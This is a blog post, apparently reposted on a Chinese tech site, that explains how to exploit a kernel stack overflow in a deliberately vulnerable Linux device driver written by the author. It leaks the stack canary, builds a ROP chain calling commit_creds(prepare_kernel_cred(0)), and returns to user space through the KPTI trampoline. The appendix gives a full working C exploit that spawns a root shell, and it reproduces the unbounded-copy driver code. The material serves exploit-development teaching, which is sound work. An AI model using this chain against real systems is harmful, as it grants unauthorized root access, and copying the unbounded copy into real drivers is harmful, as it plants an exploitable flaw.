Linux Kernel Stack Smashing

栏目: IT技术 · 发布时间: 5年前

In this blog post I’ll discuss how to exploit the Linux kernel via a stack smashing attack. I’ll be attacking the latest kernel version. I’ll also introduce a vulnerable device driver that I wrote so that I can focus on the exploitation development and not the vulnerability research. 

A number of mitigations were introduced in recent years, such as Kernel Page Table Isolation and control register pinning, which makes some previous techniques obsolete. Techniques like ret2usr no longer work. But regardless, I am able to privesc and gain a rootshell.

An overview of the attack

The attack can be split up into a number of stages:

·         Defeat KASLR

·         Leak the stack canary

·         Stack smash and overwrite the canary and return address to trigger a ROP chain

·         ROP to change the current creds to UID 0

·         ROP into the code that returns from a system call and continues execution in user space

·         Continue execution in user space and exec a shell now running at UID 0

It’s hard to disable SMEP/SMAP on the latest kernels so we’ll avoid that in our exploit. That is, we don’t have to disable SMEP/SMAP for the above exploit to work.

The vulnerable device driver

I’m going to provide primitives for leaking the stack canary in my vulnerable device driver. The way I do this is by providing an IOCTL to the device I create.

        const char *device_name = "/dev/vuln_device";

        unsigned long canary;

        int fd;

        fd = open(device_name, O_RDWR);

        if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {

                fprintf(stderr, "error: ioctl\n");

                exit(1);

        }

        canary = arg.value;

I’m also going to disable KASLR with the nokaslr kernel boot time options. Of course, my vulnerable device driver has a kernel stack overflow that I can trigger. The way I do this is by opening up the device file in /dev and simply writing to it. There isn’t any bounds checking and the buffer that is written is copied onto the stack. Here is the kernel code that does that:

        static ssize_t arb_rw_write(struct file *filp,

const char __user *buf, size_t len, loff_t *off)

{

        char stack_buf[16];

        char *p;

        p = kmalloc(len, GFP_KERNEL);

        copy_from_user(p, buf, len);

        unsafe_memcpy(stack_buf, p, len);

        return len;

}

Exploitation

The exploit simply overwrites the stack canary with the correct value then overwrites the return address with the beginning of a ROP chain. The first part of the exploit looks like this:

int main(int argc, char *argv[])

{

        struct arb_rw_arg_s arg = { 0, 0 };

        const char *device_name = "/dev/vuln_device";

        unsigned long canary;

        int fd;

        unsigned long ropchain[20];

        fd = open(device_name, O_RDWR);

        if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {

                fprintf(stderr, "error: ioctl\n");

                exit(1);

        }

        canary = arg.value;

        save_status(); // shown later

        printf("Canary: 0x%lx\n", canary);

        ropchain[0] = 0x4142434445464748;

        ropchain[1] = 0x4142434445464748;

        ropchain[2] = canary;

        ropchain[3] = 0x41;

        ropchain[4] = 0x41;

        ropchain[5] = 0x41;

        ropchain[6] = 0x41;

        ropchain[7] = pop_rdi; // return address

The address at ropchain[7] is the return address. This begins our ROP chain.

What we are going to use to privesc is the following code once the ROP chain is complete

        commit_creds(prepare_kernel_cred(0));

To find the address of these functions, I was using gdb on the kernel image (vmlinux). To build the ROP gadgets I ran ropper on the image. It took about 20G of memory and about 10-15 minutes to build gadgets. I ran the kernel inside QEMU with kernel debugging. It was essential to have a good debugging environment to single step through the ROP chain and debug what was going on.

To ROP the privesc code, we need the following. Note the gadget we use to move the return value of prepare_kernel_cred into the argument for commit_creds. On some kernel versions, this gadget isn’t directly available, so I’ve had to use other variants in the past.

unsigned long commit_creds = 0xffffffff810be110;

        unsigned long prepare_kernel_cred = 0xffffffff810be580;

// xchg rax, rdi; ret

unsigned long move_rax_to_rdi = 0xffffffff81918e14;

// pop rdi; ret;

unsigned long pop_rdi = 0xffffffff81083470;

          ropchain[7] = pop_rdi;

        ropchain[8] = 0x0;

        ropchain[9] = prepare_kernel_cred;

        ropchain[10] = move_rax_to_rdi;

        ropchain[11] = commit_creds;

The remaining part of our ROP chain is to return execution in user mode. Let’s look at code in arch/x86/entry/entry_64.S

SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL)

#ifdef CONFIG_DEBUG_ENTRY

        /* Assert that pt_regs indicates user mode. */

        testb    $3, CS(%rsp)

        jnz      1f

        ud2

1:

#endif

        POP_REGS pop_rdi=0

        /*

         * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.

         * Save old stack pointer and switch to trampoline stack.

         */

        movq     %rsp, %rdi

        movq     PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp

        /* Copy the IRET frame to the trampoline stack. */

        pushq    6*8(%rdi)        /* SS */

        pushq    5*8(%rdi)        /* RSP */

        pushq    4*8(%rdi)        /* EFLAGS */

        pushq    3*8(%rdi)        /* CS */

        pushq    2*8(%rdi)        /* RIP */

        /* Push user RDI on the trampoline stack. */

        pushq    (%rdi)

        /*

         * We are on the trampoline stack.   All regs except RDI are live.

         * We can do future final exit work right here.

          */

        STACKLEAK_ERASE_NOCLOBBER

        SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

        /* Restore RDI. */

        popq     %rdi

        SWAPGS

        INTERRUPT_RETURN

We are going to ROP/return so the code we execute is mov %rsp, %rdi. This will do the appropriate code to handle kernel page table isolation and continue usermode code execution. In the following code we will set &shell to be the code which in usermode execs a shell.

Once we build the ROP chain we write our buffer to the device and the kernel stack is smashed and exploited.

ropchain[12] = iret_back_to_user_mode;

        ropchain[13] = 0x0; // user_rdi

        ropchain[14] = 0x0; // orig_eax

        ropchain[15] = (unsigned long)&shell;

        ropchain[16] = ucs;

        ropchain[17] = urflags;

        ropchain[18] = ursp;

        ropchain[19] = uss;

        write(fd, &ropchain[0], 20*sizeof(unsigned long));

        exit(1); // not reached

Conclusion

I presented techniques for stack smashing on the latest Linux kernel. The techniques don't require a bypass for SMEP/SMAP.

Appendix

The complete exploit is as follows:

#include

#include

#include

#include

#include

#include

#include

#include "vuln_driver.h"

static void

shell(void)

{

execl("/bin/bash", "/bin/bash", NULL);

}

static uint64_t ucs, uss, ursp, urflags;

static void

save_status(void)

{

asm volatile ("mov %cs, ucs");

asm volatile ("mov %ss, uss");

asm volatile ("mov %rsp, ursp");

asm volatile ("pushf");

asm volatile ("pop urflags");

}

unsigned long commit_creds = 0xffffffff810be110;

unsigned long prepare_kernel_cred = 0xffffffff810be580;

// 0xffffffff81c00aa7

unsigned long swapgs_iretq = 0xffffffff81c00a8a;

// 0xffffffff81918e14: xchg rax, rdi; ret

unsigned long move_rax_to_rdi = 0xffffffff81918e14;

// 0xffffffff812faf07: xor esi, esi; ret;

unsigned long xor_esi_esi = 0xffffffff812faf07;

// 0xffffffff81083470: pop rdi; ret;

unsigned long pop_rdi = 0xffffffff81083470;

int

main(int argc, char *argv[])

{

struct arb_rw_arg_s arg = { 0, 0 };

const char *device_name = "/dev/vuln_device";

unsigned long canary;

int fd;

unsigned long ropchain[20];

fd = open(device_name, O_RDWR);

if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {

fprintf(stderr, "error: ioctl\n");

exit(1);

}

canary = arg.value;

save_status();

printf("Canary: 0x%lx\n", canary);

ropchain[0] = 0x4142434445464748;

ropchain[1] = 0x4142434445464748;

ropchain[2] = canary;

ropchain[3] = 0x41;

ropchain[4] = 0x41;

ropchain[5] = 0x41;

ropchain[6] = 0x41;

ropchain[7] = pop_rdi;

ropchain[8] = 0x0;

ropchain[9] = prepare_kernel_cred;

ropchain[10] = move_rax_to_rdi;

ropchain[11] = commit_creds;

ropchain[12] = swapgs_iretq;

ropchain[13] = 0x0; // user_rdi

ropchain[14] = 0x0; // orig_eax

ropchain[15] = (unsigned long)&shell;

ropchain[16] = ucs;

ropchain[17] = urflags;

ropchain[18] = ursp;

ropchain[19] = uss;

write(fd, &ropchain[0], 20*sizeof(unsigned long));

exit(1);

}

 

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

UNIX环境高级编程

UNIX环境高级编程

W.Richard Stevens Stephen A.Rago、Stephen A. Rago / 人民邮电出版社 / 2006-2 / 99.00元

本书是被誉为UNIX编程“圣经”的Advanced Programming in the UNIX Environment一书的更新版。在本书第一版出版后的十几年中,UNIX行业已经有了巨大的变化,特别是影响UNIX编程接口的有关标准变化很大。本书在保持了前一版的风格的基础上,根据最新的标准对内容进行了修订和增补,反映了最新的技术发展。书中除了介绍UNIX文件和目录、标准I/O库、系统数据文件和信......一起来看看 《UNIX环境高级编程》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码